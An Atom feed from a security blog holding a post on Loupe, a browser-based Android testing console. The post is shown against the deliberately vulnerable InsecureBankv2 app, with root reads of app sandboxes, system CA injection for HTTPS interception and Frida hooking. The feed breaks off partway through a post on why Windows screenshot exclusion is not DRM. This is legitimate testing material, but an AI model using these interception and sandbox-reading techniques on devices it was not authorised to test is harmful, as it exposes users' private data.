<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://captmeelo.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://captmeelo.com/" rel="alternate" type="text/html" /><updated>2026-09-21T09:10:31+00:00</updated><id>https://captmeelo.com/feed.xml</id><title type="html">Capt. Meelo</title><subtitle>This blog contains write-ups of the things that I researched, learned, and wanted to share to others.</subtitle><author><name>Capt. Meelo</name></author><entry><title type="html">Loupe: An Android Console in the Browser</title><link href="https://captmeelo.com/mobile/2026/09/21/loupe.html" rel="alternate" type="text/html" title="Loupe: An Android Console in the Browser" /><published>2026-09-21T00:00:00+00:00</published><updated>2026-09-21T00:00:00+00:00</updated><id>https://captmeelo.com/mobile/2026/09/21/loupe</id><content type="html" xml:base="https://captmeelo.com/mobile/2026/09/21/loupe.html"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Every time I sit down for an Android app assessment, I open the same things for my setup:</p>

<ul>
  <li>A <strong>scrcpy</strong> window so I can drive the phone with a mouse and keyboard.</li>
  <li>A terminal running <code class="language-plaintext highlighter-rouge">adb logcat | grep &lt;package&gt;</code>.</li>
  <li>Another terminal for <code class="language-plaintext highlighter-rouge">adb shell</code>.</li>
  <li><strong>Burp</strong> for the proxy.</li>
  <li><strong>Frida</strong> somewhere running <code class="language-plaintext highlighter-rouge">frida-server</code> over adb.</li>
</ul>

<p>Multiple windows across two monitors gets old fast, and half of what I run at the start of every job is the same <code class="language-plaintext highlighter-rouge">adb push</code>, <code class="language-plaintext highlighter-rouge">adb forward</code>, <code class="language-plaintext highlighter-rouge">adb reverse</code>, <code class="language-plaintext highlighter-rouge">pm install</code>, <code class="language-plaintext highlighter-rouge">cat /data/data/…</code> dance. So I spent a few weekends building <a href="https://github.com/capt-meelo/loupe"><strong>Loupe</strong></a>, which is an Android device control hub that runs entirely in a Chromium tab, talks to the phone straight over WebUSB, and puts the mirrored screen, logcat, file browser, proxy, and Frida side by side in one window.</p>

<p>I’ll use <a href="https://github.com/dineshshetty/Android-InsecureBankv2">InsecureBankv2</a> as the demo app in this post, since it’s the classic “everything you shouldn’t do” Android target.</p>

<p>Here’s what the whole thing looks like:</p>

<p><a href="/static/img/2026-09-21-loupe/workspace.png"><img src="/static/img/2026-09-21-loupe/workspace.png" alt="Loupe workspace" /></a></p>

<p>If you’d rather see it move first, here’s a 40-second clip driving through the file browser, apps panel, and Frida target picker:</p>

<video controls="" autoplay="" muted="" loop="" playsinline="" src="/static/img/2026-09-21-loupe/loupe-demo.mp4" style="max-width:100%"></video>

<h2 id="why-the-browser">Why the Browser</h2>

<p>The short answer: I got tired of installing things.</p>

<p><code class="language-plaintext highlighter-rouge">adb</code> needs <code class="language-plaintext highlighter-rouge">adb</code>. <code class="language-plaintext highlighter-rouge">scrcpy</code> needs <code class="language-plaintext highlighter-rouge">scrcpy</code>. <code class="language-plaintext highlighter-rouge">frida-tools</code> needs a Python venv, which needs a working Python version this month. A junior on a fresh laptop can lose half a day to that.</p>

<p>Chromium has <a href="https://developer.mozilla.org/en-US/docs/Web/API/USB">WebUSB</a>, which lets a web page speak to a plugged-in USB device after the user picks it from a browser prompt. <a href="https://github.com/yume-chan">Yume Chan</a> already ships <a href="https://github.com/yume-chan/ya-webadb"><code class="language-plaintext highlighter-rouge">ya-webadb</code></a>, a full ADB implementation in TypeScript that runs on top of WebUSB, and a corresponding <a href="https://github.com/yume-chan/ya-webadb/tree/main/libraries/scrcpy">scrcpy client</a> that decodes the mirror in the browser using <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebCodecs_API">WebCodecs</a>. So the browser can already talk to the phone. It just needed a UI on top and a small local bridge for the two things WebUSB can’t do (Wi-Fi pairing over mDNS, and running <code class="language-plaintext highlighter-rouge">frida-server</code> from your machine).</p>

<p>The result is a project you can clone and use with no drivers, no desktop <code class="language-plaintext highlighter-rouge">adb</code> server, and no agent app on the phone.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/capt-meelo/loupe
<span class="nb">cd </span>loupe
npm <span class="nb">install
</span>npm run dev
</code></pre></div></div>

<p>Open <a href="http://localhost:5173"><code class="language-plaintext highlighter-rouge">http://localhost:5173</code></a> and you get a tab that looks like the screenshot above.</p>

<h2 id="connecting-the-phone">Connecting the Phone</h2>

<p><strong>Option 1</strong>: Over <strong>USB</strong>, turn on USB debugging and plug the phone in. Stop any desktop <code class="language-plaintext highlighter-rouge">adb</code> first since it holds the USB interface exclusively (<code class="language-plaintext highlighter-rouge">adb kill-server</code> is enough). Then pick “Connect a device over USB” from the header and tap “Allow USB debugging” on the phone.</p>

<p><strong>Option 2</strong>: Over <strong>Wi-Fi</strong>, pick “Connect over Wi-Fi”. The first time, it asks you to pair with a code or a QR. After that, Loupe remembers the phone and you just click the entry. Wi-Fi mode needs <code class="language-plaintext highlighter-rouge">adb</code> installed on your machine because the local bridge uses it for mDNS discovery and pairing. USB mode needs nothing at all.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-connect-menu.png"><img src="/static/img/2026-09-21-loupe/snippet-connect-menu.png" alt="Connect over Wi-Fi menu" /></a></p>

<p>Once the phone is up, the header shows the model, the address, and whether root is available. On a rooted device, it lights a small <code class="language-plaintext highlighter-rouge"># root</code> chip in the header, and the shell prompt becomes <code class="language-plaintext highlighter-rouge">#</code> instead of <code class="language-plaintext highlighter-rouge">$</code>.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-header.png"><img src="/static/img/2026-09-21-loupe/snippet-header.png" alt="Loupe header" /></a></p>

<h2 id="two-pane-workspace">Two-pane workspace</h2>

<p>Loupe splits the right side into a top and bottom tab strip. You can watch one panel while working in another, drag any tab from one strip to the other, and resize the divider between them. Any tab can also maximize to fill the pane.</p>

<p>In the shot above, the top strip is on <strong>Logcat</strong> and the bottom is on <strong>Shell</strong>. During a real assessment I usually keep the mirrored screen on the left, Logcat streaming up top, and swap the bottom between <strong>Files</strong>, <strong>Frida</strong>, and <strong>Shell</strong> as needed.</p>

<h2 id="screen-mirror">Screen Mirror</h2>

<p>The mirror is <a href="https://github.com/Genymobile/scrcpy">scrcpy</a> running through <code class="language-plaintext highlighter-rouge">ya-webadb</code>. It pushes the same server JAR that command-line scrcpy uses, then decodes the H.264 stream in the browser with WebCodecs. Touch, drag, swipe, scroll, the hardware keys, notification shade, rotate, and wake all work. A record button in the mirror toolbar drops a webm to disk with no time limit, so evidence for a report is one click away.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-mirror-toolbar.png"><img src="/static/img/2026-09-21-loupe/snippet-mirror-toolbar.png" alt="Mirror toolbar" /></a></p>

<p>There’s also a small “Type text into the device” input at the bottom of the mirror pane. This is genuinely useful because typing a long test payload with an on-screen keyboard is misery.</p>

<h2 id="logcat">Logcat</h2>

<p>Live stream with per-level filters, text search, and an “app” filter that narrows to a package’s processes. Pause and export at any time.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-logcat-toolbar.png"><img src="/static/img/2026-09-21-loupe/snippet-logcat-toolbar.png" alt="Logcat toolbar" /></a></p>

<p>The filter honors process boundaries, so hitting “<code class="language-plaintext highlighter-rouge">com.android.insecurebankv2</code>” narrows to the app <em>and</em> every child process it spawns. A lot of vulnerabilities in Insecure-style apps come down to something the app itself writes to logcat in plaintext, so this is the panel I open first every time.</p>

<p><a href="/static/img/2026-09-21-loupe/logcat.png"><img src="/static/img/2026-09-21-loupe/logcat.png" alt="Logcat filtered to InsecureBankv2" /></a></p>

<p>The counter at the bottom shows “203 / 2000 lines · streaming”, which is another thing I miss in a plain terminal: knowing how much of the buffer I’m looking at.</p>

<h2 id="files">Files</h2>

<p>A file browser with search, upload, download, copy, move, and delete, with previews for the file types you actually run into during an assessment: images, text and config, HTML (rendered), PDFs, audio and video, and SQLite databases in a real table browser.</p>

<p>On a rooted phone I usually spend most of my time in <code class="language-plaintext highlighter-rouge">/data/data/&lt;package&gt;/</code>, which is where the app’s private state lives. Loupe knows this and lets me type a path or click through the crumbs:</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-files-crumbs.png"><img src="/static/img/2026-09-21-loupe/snippet-files-crumbs.png" alt="Files crumbs" /></a></p>

<p><a href="/static/img/2026-09-21-loupe/files-datadir.png"><img src="/static/img/2026-09-21-loupe/files-datadir.png" alt="Files: /data/data/com.android.insecurebankv2" /></a></p>

<p>InsecureBankv2 stores its user database in <code class="language-plaintext highlighter-rouge">databases/mydb</code>, which the <a href="https://github.com/sql-js/sql.js">sql.js</a> preview reads without needing to pull the database to my local machine:</p>

<p><a href="/static/img/2026-09-21-loupe/files-sqlite.png"><img src="/static/img/2026-09-21-loupe/files-sqlite.png" alt="SQLite preview of mydb" /></a></p>

<p>And its “server config” gets serialized to a shared preference file:</p>

<p><a href="/static/img/2026-09-21-loupe/files-xml.png"><img src="/static/img/2026-09-21-loupe/files-xml.png" alt="Shared prefs XML preview" /></a></p>

<p>None of this is exotic. It’s just faster than <code class="language-plaintext highlighter-rouge">adb pull</code> → open in a viewer → repeat every time you want to check a value.</p>

<h2 id="apps">Apps</h2>

<p>Lists user, system, or all packages, each with its launcher icon and a readable name, sorted by name. Clicking a package fills the right pane from <code class="language-plaintext highlighter-rouge">dumpsys package</code>: version, SDK levels, data dir, APK path, install and update timestamps, and the full permission list.</p>

<p>The row buttons do the operations I always want. <strong>Install APK</strong> in the toolbar opens a file picker and installs whatever you throw at it, which is great for dropping a new build without a terminal. Each row has <strong>launch</strong>, <strong>stop</strong>, and <strong>uninstall</strong>.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-apps-row.png"><img src="/static/img/2026-09-21-loupe/snippet-apps-row.png" alt="App row buttons" /></a></p>

<p>The detail pane header adds a <strong>data dir</strong> shortcut that opens the app’s private storage in the Files tab, an <strong>enable/disable</strong> toggle that reflects the current state, a <strong>clear cache</strong> button, and a <strong>clear data</strong> button.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-apps-detail-head.png"><img src="/static/img/2026-09-21-loupe/snippet-apps-detail-head.png" alt="App detail pane header" /></a></p>

<p>Here’s the panel after searching for “insecure” and selecting the row:</p>

<p><a href="/static/img/2026-09-21-loupe/apps.png"><img src="/static/img/2026-09-21-loupe/apps.png" alt="Apps: InsecureBankv2 selected" /></a></p>

<p>The <code class="language-plaintext highlighter-rouge">dataDir</code> value there is a clickable jump into the Files tab pointed at exactly that path.</p>

<h2 id="frida">Frida</h2>

<p>The Frida panel is the one I’m most happy with, because installing and driving <code class="language-plaintext highlighter-rouge">frida-server</code> on a phone is the part of Android assessments I always fumble.</p>

<p>Loupe does the whole cycle. If <code class="language-plaintext highlighter-rouge">frida-server</code> isn’t on the phone, one button pulls the right architecture from the Frida GitHub release, pushes it to <code class="language-plaintext highlighter-rouge">/data/local/tmp/</code>, and <code class="language-plaintext highlighter-rouge">chmod</code>s it. If it’s already there, it shows the version and offers “Update to latest”. Start and Stop are buttons, so there’s no terminal you can’t close.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-frida-server.png"><img src="/static/img/2026-09-21-loupe/snippet-frida-server.png" alt="Frida server controls" /></a></p>

<p>A target dropdown lists your installed apps, so you don’t have to <code class="language-plaintext highlighter-rouge">frida-ps -Uai</code> before every run. The script area is a CodeMirror editor with JavaScript syntax highlighting; paste a script and hit Run, or paste a URL to a Frida CodeShare page, a GitHub <code class="language-plaintext highlighter-rouge">.js</code> file, or a Gist, and Loupe fetches it on Run. There’s a <strong>spawn</strong> toggle for scripts that need to hook before an app starts.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-frida-target.png"><img src="/static/img/2026-09-21-loupe/snippet-frida-target.png" alt="Frida target and run controls" /></a></p>

<p><a href="/static/img/2026-09-21-loupe/frida.png"><img src="/static/img/2026-09-21-loupe/frida.png" alt="Frida panel" /></a></p>

<p>Since Loupe reaches <code class="language-plaintext highlighter-rouge">frida-server</code> through the browser’s own device connection instead of a host <code class="language-plaintext highlighter-rouge">adb</code> port forward, the same script works over USB and over Wi-Fi with no code change. And because a lot of the older CodeShare scripts still use the pre-Frida-17 <code class="language-plaintext highlighter-rouge">Java.perform</code> API, Loupe restores the <code class="language-plaintext highlighter-rouge">Java</code> bridge and the other globals Frida 17 removed, so old scripts keep working without a rewrite.</p>

<h2 id="proxy">Proxy</h2>

<p>Setting up an intercepting proxy on a phone always used to be:</p>

<ol>
  <li>Find your laptop’s IP.</li>
  <li>Long-press the Wi-Fi network, choose “Modify”, scroll to Proxy, type it in, save.</li>
  <li>Realize you typed the wrong port.</li>
</ol>

<p>The Proxy tab has two sections. The first is a device proxy toggle: type your machine’s IP and port, hit Start, and Loupe sets it as the global proxy for the whole device with <code class="language-plaintext highlighter-rouge">settings put global http_proxy</code>. Stop pulls it back down. A <strong>Test connection</strong> button opens a TCP socket from the Loupe bridge to the proxy and reports whether it’s actually reachable, which is the failure mode I hit most: forgot to switch Burp from “loopback only” to “all interfaces”.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-proxy-config.png"><img src="/static/img/2026-09-21-loupe/snippet-proxy-config.png" alt="Device proxy config" /></a></p>

<p>The second is a CA certificate installer. Point it at a <code class="language-plaintext highlighter-rouge">.der</code> or <code class="language-plaintext highlighter-rouge">.pem</code> and it installs it into the system trust store so HTTPS decrypts.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-proxy-ca.png"><img src="/static/img/2026-09-21-loupe/snippet-proxy-ca.png" alt="Install CA cert button" /></a></p>

<p><a href="/static/img/2026-09-21-loupe/proxy.png"><img src="/static/img/2026-09-21-loupe/proxy.png" alt="Proxy panel" /></a></p>

<p>On a Magisk or KernelSU device, Loupe writes a small boot module (<code class="language-plaintext highlighter-rouge">loupe-cacerts</code>) that lays a <code class="language-plaintext highlighter-rouge">tmpfs</code> over <code class="language-plaintext highlighter-rouge">/system/etc/security/cacerts</code> at every boot and drops the CA in. So the cert survives reboots without repackaging the system partition. If Magisk isn’t there, Loupe falls back to a one-shot <code class="language-plaintext highlighter-rouge">tmpfs</code> that lasts until the next reboot, which is still enough for one session.</p>

<p>If you’ve ever fought Android’s Conscrypt APEX trust store to make a Burp cert stick across a reboot, you know why this is a nice thing to have.</p>

<h2 id="inspector">Inspector</h2>

<p>Dump the current view hierarchy into a tree, click a node to see its attributes, resource-id, bounds, text, and traits.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-inspector-top.png"><img src="/static/img/2026-09-21-loupe/snippet-inspector-top.png" alt="Dump hierarchy button" /></a></p>

<p><a href="/static/img/2026-09-21-loupe/inspector.png"><img src="/static/img/2026-09-21-loupe/inspector.png" alt="Inspector: FilePref hierarchy" /></a></p>

<p>The tree itself is nothing new compared to Android Studio’s Layout Inspector. The useful bit is that it opens in the same window as the mirror and logcat, and a fresh dump is one click away every time the app’s UI changes.</p>

<h2 id="performance">Performance</h2>

<p>A live dashboard sampled every two seconds:</p>

<ul>
  <li>CPU and memory with sparklines.</li>
  <li>The foreground app’s FPS, computed from <code class="language-plaintext highlighter-rouge">dumpsys gfxinfo</code>. Idle apps sit near zero, which is correct.</li>
  <li>Battery: level, status, health, temperature, voltage, technology, power source.</li>
  <li>Network: connection type, SSID, IP, signal, link speed, live throughput.</li>
  <li>Storage on <code class="language-plaintext highlighter-rouge">/data</code>.</li>
  <li>Uptime and load average.</li>
</ul>

<p><a href="/static/img/2026-09-21-loupe/performance.png"><img src="/static/img/2026-09-21-loupe/performance.png" alt="Performance dashboard" /></a></p>

<p>I use this less for “performance testing” and more as a health strip while the phone is doing something. If throughput jumps while an app claims to be idle, that’s a hint. If temperature spikes during a Frida script, that’s another.</p>

<h2 id="settings">Settings</h2>

<p>An editor for the <code class="language-plaintext highlighter-rouge">system</code>, <code class="language-plaintext highlighter-rouge">secure</code>, and <code class="language-plaintext highlighter-rouge">global</code> namespaces of the <code class="language-plaintext highlighter-rouge">Settings</code> provider, the same thing you’d otherwise poke with <code class="language-plaintext highlighter-rouge">adb shell settings put</code>. Search across a namespace, pick a key, edit the value or delete it.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-settings-chips.png"><img src="/static/img/2026-09-21-loupe/snippet-settings-chips.png" alt="Settings namespace chips" /></a></p>

<p><a href="/static/img/2026-09-21-loupe/settings.png"><img src="/static/img/2026-09-21-loupe/settings.png" alt="Settings editor" /></a></p>

<p>This is useful for the boring plumbing of a test setup: setting <code class="language-plaintext highlighter-rouge">stay_on_while_plugged_in</code>, flipping <code class="language-plaintext highlighter-rouge">development_settings_enabled</code>, dropping <code class="language-plaintext highlighter-rouge">airplane_mode_on</code>, or nuking whatever weird <code class="language-plaintext highlighter-rouge">global_http_proxy_*</code> residue an earlier proxy pass left behind.</p>

<h2 id="shell">Shell</h2>

<p>A real <code class="language-plaintext highlighter-rouge">adb shell</code> in a tab, with command history. The prompt shows <code class="language-plaintext highlighter-rouge">#</code> when the elevated shell is on and <code class="language-plaintext highlighter-rouge">$</code> when it is not, so you always know which permission level your command is running at.</p>

<p><a href="/static/img/2026-09-21-loupe/shell.png"><img src="/static/img/2026-09-21-loupe/shell.png" alt="adb shell" /></a></p>

<p>Nothing exciting about it. It sits in the same window as everything else, and it’s <code class="language-plaintext highlighter-rouge">root</code> when the device is rooted.</p>

<h2 id="processes-and-memory">Processes and Memory</h2>

<p>The <strong>Processes</strong> tab is a live process table with the app name, package, per-process CPU and memory, sortable by any column. Kill or force-stop from the row.</p>

<p><a href="/static/img/2026-09-21-loupe/processes.png"><img src="/static/img/2026-09-21-loupe/processes.png" alt="Live process table" /></a></p>

<p>The <strong>Memory</strong> tab reads <code class="language-plaintext highlighter-rouge">dumpsys meminfo</code> for a selected process, plus <code class="language-plaintext highlighter-rouge">/proc/&lt;pid&gt;/maps</code>. When the app is debuggable, it can also request a heap dump with <code class="language-plaintext highlighter-rouge">am dumpheap</code>. When it isn’t, it writes an ELF core file that opens in gdb, LLDB, radare2, or Ghidra.</p>

<p><a href="/static/img/2026-09-21-loupe/memory.png"><img src="/static/img/2026-09-21-loupe/memory.png" alt="Memory panel" /></a></p>

<p>I’ve used these two mostly to answer “what actually got spawned when I tapped the button” and “which library is holding that string”, respectively.</p>

<h2 id="reboot-menu">Reboot Menu</h2>

<p>Small thing, in the header: a Reboot menu with <strong>System</strong>, <strong>Recovery</strong>, and <strong>Bootloader</strong>. If you spend any time flashing modules or bouncing between recovery and normal boot, having this one click away in the same tab is a small daily quality-of-life win.</p>

<p><a href="/static/img/2026-09-21-loupe/snippet-reboot-menu.png"><img src="/static/img/2026-09-21-loupe/snippet-reboot-menu.png" alt="Reboot menu open" /></a></p>

<h2 id="root-aware">Root Aware</h2>

<p>On a rooted device, Loupe detects <code class="language-plaintext highlighter-rouge">su</code> on connect and starts routing operations through it: reads into <code class="language-plaintext highlighter-rouge">/data/data/</code>, kill and force-stop of processes outside your own UID, non-debuggable heap dumps, browsing across app sandboxes. The <code class="language-plaintext highlighter-rouge"># root</code> chip in the header tells you when it’s on. When it isn’t, the same tabs work, they just show fewer things.</p>

<h2 id="putting-it-together">Putting it Together</h2>

<p>Here’s an end-to-end run against InsecureBankv2, because the individual screenshots don’t quite land the point.</p>

<p>I connect the phone (Wi-Fi in this case), pick the paired entry from the device menu, and the header goes green with a <code class="language-plaintext highlighter-rouge"># root</code> chip because the phone is rooted with Magisk. I hit <strong>Start mirroring</strong> and the phone shows up on the left. Then:</p>

<ol>
  <li>Install the app. Apps tab, <strong>Install APK</strong>, pick <code class="language-plaintext highlighter-rouge">InsecureBankv2.apk</code>. It shows up in the list with an icon and a name a few seconds later.</li>
  <li>Poke it. Launch it from the row’s <strong>launch</strong> button. The mirror shows the login screen. I type <code class="language-plaintext highlighter-rouge">jack</code> / <code class="language-plaintext highlighter-rouge">Jack@123$</code> (its baked-in credentials) using the “Type text into the device” input at the bottom of the mirror pane, or I just tap on the phone.</li>
  <li>Watch what it writes to logcat. Switch to Logcat, filter by package. The FilePref transitions and the login events land in real time.</li>
  <li>Read its private storage. Files tab, then <code class="language-plaintext highlighter-rouge">/data/data/com.android.insecurebankv2/</code>. Its <code class="language-plaintext highlighter-rouge">shared_prefs/*.xml</code> files preview inline. The <code class="language-plaintext highlighter-rouge">databases/mydb</code> opens in the SQLite browser with tables listed on the right and rows on the left.</li>
  <li>Hook a method. Frida tab. Pick InsecureBankv2 from the target dropdown. Paste a small Java hook into the script editor, hit <strong>Run</strong>, and its output streams into the log pane on the right as the app calls the method.</li>
  <li>Turn on the proxy. Proxy tab. Type in the laptop’s IP and Burp’s port. Hit <strong>Start</strong>. The app’s requests appear in Burp. Hit <strong>Install CA cert</strong>, point at Burp’s DER export, and the CA gets a Magisk module. Reboot from the header’s <strong>Reboot ▸ System</strong> menu, and the cert is still there afterwards.</li>
</ol>

<p>None of that is new. All of it, other than the reboot, happens without alt-tabbing or opening a terminal.</p>

<h2 id="what-its-built-on">What it’s Built On</h2>

<ul>
  <li><a href="https://github.com/yume-chan/ya-webadb">ya-webadb</a> for the ADB protocol over WebUSB and for the scrcpy client. Without this project Loupe would not exist.</li>
  <li><a href="https://github.com/Genymobile/scrcpy">scrcpy</a> for the screen mirror.</li>
  <li><a href="https://frida.re">Frida</a> and <a href="https://github.com/frida/frida-node">frida-node</a> for the instrumentation panel.</li>
  <li><a href="https://github.com/sql-js/sql.js">sql.js</a> for the SQLite preview.</li>
  <li><a href="https://react.dev">React</a> and <a href="https://vitejs.dev">Vite</a> for the UI.</li>
</ul>

<p>The local bridge is a small Node process the dev server also starts, so the browser page can pair over Wi-Fi (mDNS), test a proxy TCP endpoint, and drive <code class="language-plaintext highlighter-rouge">frida-node</code> from the same origin as the page. The browser tab does everything else.</p>

<h2 id="what-it-doesnt-do">What it Doesn’t Do</h2>

<p>A few things worth calling out.</p>

<p>Loupe is not a Play Store client. It won’t download apps for you.</p>

<p>There’s no SSL unpinning built in. I had one in an earlier version and I took it out. A universal script that works against every app doesn’t exist, and shipping one that lies about that is worse than not shipping one at all. The Frida panel is right there if you want to run yours.</p>

<p>It’s also not a way around ADB debugging being off. That’s a phone setting. If USB debugging is off, no browser tool can turn it on for you.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Loupe is up at <a href="https://github.com/capt-meelo/loupe">github.com/capt-meelo/loupe</a>. If it’s useful, tell me. If it’s missing something you’d use every day, open an issue.</p>

<p>That’s all. Thanks for reading!</p>]]></content><author><name>Capt. Meelo</name></author><category term="mobile" /><summary type="html"><![CDATA[A tool I built for driving an Android phone from a browser tab, with screen mirror, logcat, file browser, proxy, and Frida in the same window.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2026-09-21-loupe/workspace.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2026-09-21-loupe/workspace.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The DRM Flag That Isn’t DRM</title><link href="https://captmeelo.com/research/2026/09/13/the-drm-flag-that-isnt-drm.html" rel="alternate" type="text/html" title="The DRM Flag That Isn’t DRM" /><published>2026-09-13T00:00:00+00:00</published><updated>2026-09-13T00:00:00+00:00</updated><id>https://captmeelo.com/research/2026/09/13/the-drm-flag-that-isnt-drm</id><content type="html" xml:base="https://captmeelo.com/research/2026/09/13/the-drm-flag-that-isnt-drm.html"><![CDATA[<p><em><strong>Note</strong>: This research was originally posted <a href="https://www.ioactive.com/the-drm-flag-that-isnt-drm/">here</a>.</em></p>

<h1 id="the-drm-flag-that-isnt-drm">The DRM Flag That Isn’t DRM</h1>

<p><em><code class="language-plaintext highlighter-rouge">SetWindowDisplayAffinity</code> keeps a window out of screenshots, screen shares, and Recall snapshots. Vendors sell that as “screenshot protection,” and procurement checklists tick it off as data-exfiltration risk mitigated. The API’s own documentation disagrees. This post breaks down what the flag actually guarantees, who can route around it and how, and why a black screenshot is the beginning of a threat model rather than the end of one.</em></p>

<hr />

<h2 id="the-pitch-and-the-problem-with-it">The Pitch, and the Problem with It</h2>

<p>Open a modern secure-messaging app, password manager, or exam browser on Windows 11, hit <code class="language-plaintext highlighter-rouge">PrtSc</code>, and paste. The result is a black rectangle, or nothing at all. Vendor marketing calls it “screenshot protection.” Privacy blogs call it “blocks Recall.” The procurement checklist gets a tick next to <em>data exfiltration: mitigated</em>.</p>

<p><a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowdisplayaffinity#remarks">Microsoft’s own documentation</a> for the API doing the work says otherwise:</p>

<blockquote>
  <p>Unlike a security feature or an implementation of Digital Rights Management (DRM), there is no guarantee that using <code class="language-plaintext highlighter-rouge">SetWindowDisplayAffinity</code> … will strictly protect window content.</p>
</blockquote>

<p>The feature that makes a window disappear from screenshots is explicitly <em>not</em> a security feature, according to the people who built it. Yet vendors build a whole category of “privacy” and “DLP” features on top of it.</p>

<p>Microsoft is not consistent about this either. The <a href="https://learn.microsoft.com/en-us/windows/client-management/manage-recall#information-for-developers">Recall management documentation</a>, aimed at developers whose remote desktop clients lack screen capture protection, calls adding it “an easy feature”, labels it “This DRM flag”, and points them to the very same <code class="language-plaintext highlighter-rouge">SetWindowDisplayAffinity</code> API whose own reference page insists it is not DRM. Two documents, one API, opposite claims</p>

<p>That gap, between what the control implies and what it guarantees, is what this post takes apart. Attackers route around it without much thought. Defenders keep inheriting it as a checkbox someone else already ticked.</p>

<hr />

<h2 id="how-the-flag-works">How the Flag Works</h2>

<p>The <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowdisplayaffinity">Win32 function</a> doing the work:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">BOOL</span> <span class="nf">SetWindowDisplayAffinity</span><span class="p">(</span>
  <span class="p">[</span><span class="n">in</span><span class="p">]</span> <span class="n">HWND</span>  <span class="n">hWnd</span><span class="p">,</span>       <span class="c1">// top-level window, must belong to the calling process</span>
  <span class="p">[</span><span class="n">in</span><span class="p">]</span> <span class="n">DWORD</span> <span class="n">dwAffinity</span>  <span class="c1">// the exclusion mode</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Three values for the <code class="language-plaintext highlighter-rouge">dwAffinity</code> parameter matter:</p>

<table>
  <thead>
    <tr>
      <th>Constant</th>
      <th>Value</th>
      <th>Behavior in a capture</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WDA_NONE</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x00000000</code></td>
      <td>No restriction. Normal capture.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WDA_MONITOR</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x00000001</code></td>
      <td>Window shows only on a physical monitor; <strong>captures render it black</strong>.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">WDA_EXCLUDEFROMCAPTURE</code></td>
      <td><code class="language-plaintext highlighter-rouge">0x00000011</code></td>
      <td>Window shows only on a physical monitor; <strong>captures omit it entirely</strong> (no suspicious black box).</td>
    </tr>
  </tbody>
</table>

<p><code class="language-plaintext highlighter-rouge">WDA_EXCLUDEFROMCAPTURE</code> is the newer, “better” flag. It arrived in Windows 10 Version 2004 (build 19041). Before that, <code class="language-plaintext highlighter-rouge">WDA_MONITOR</code> was the only option, and it left a tell-tale black rectangle. The upgrade is cosmetic from a defense standpoint: black box versus empty space. The security boundary is identical.</p>

<p>The difference is in what the capture comes back with. Under <code class="language-plaintext highlighter-rouge">WDA_MONITOR</code>, a screenshot or a screen share contains a black rectangle sitting exactly where the window is, and whatever the window overlaps is hidden along with it. Anyone looking at that capture learns that something was being withheld, how big it was, where it sat, and, in the case of a recording, how long it stayed open and when it closed. Under <code class="language-plaintext highlighter-rouge">WDA_EXCLUDEFROMCAPTURE</code>, the window is not in the frame and the desktop behind it shows through, so the capture looks like the application was not running at all. The user sharing their screen has no black box to explain, and the people watching get no cue that anything was hidden.</p>

<p><img src="/static/img/2026-09-13-the-drm-flag-that-isnt-drm/different-captures.jpg" alt="WDA_MONITOR vs WDA_EXCLUDEFROMCAPTURE" /></p>

<p>The <a href="https://learn.microsoft.com/en-us/windows/win32/dwm/dwm-overview">Desktop Window Manager</a> (DWM) enforces the exclusion. It is the compositor that assembles every window into the final image on screen. When a capture tool asks DWM for a frame of the desktop, DWM builds that frame and <em>leaves the flagged window out of it</em>. The pixels still reach the physical display; they never reach the composited frame handed to the capture tool. The flag embeds nothing in the window’s content and blocks no capture tool from running. Every bypass later in this post is a version of the same idea: get the image from somewhere other than DWM’s composited output, and the exclusion never applies.</p>

<hr />

<h2 id="why-developers-reach-for-it-anyway">Why Developers Reach for It Anyway</h2>

<p>It’s an attractive control because:</p>

<ul>
  <li><strong>It’s one line of code.</strong> No kernel driver, no service, no secure enclave.</li>
  <li><strong>It’s OS-native.</strong> No third-party dependency to vet.</li>
  <li><strong>It defeats the lazy attacker.</strong> <code class="language-plaintext highlighter-rouge">PrtSc</code>, Snipping Tool, Zoom/Teams/Meet screen share, OBS via the standard desktop-duplication path: all come up empty. Against a casual insider or an over-eager AI screenshotter, that’s a win.</li>
</ul>

<p>The Signal case is the honest version of the story. When Microsoft shipped Recall, a background feature that silently snapshots the screen every few seconds into a searchable database, Signal had no developer-facing opt-out to keep chats out of the index. So, Signal set the display-affinity flag on its window. Signal’s own engineers <a href="https://signal.org/blog/signal-doesnt-recall/">described it</a>, more or less, as a “one weird trick”: abusing a media-protection flag because Microsoft gave privacy apps no proper API. That’s a defensible decision against that specific threat, an OS feature capturing through the normal compositor path. It is not a general-purpose confidentiality control, and Signal never claimed it was.</p>

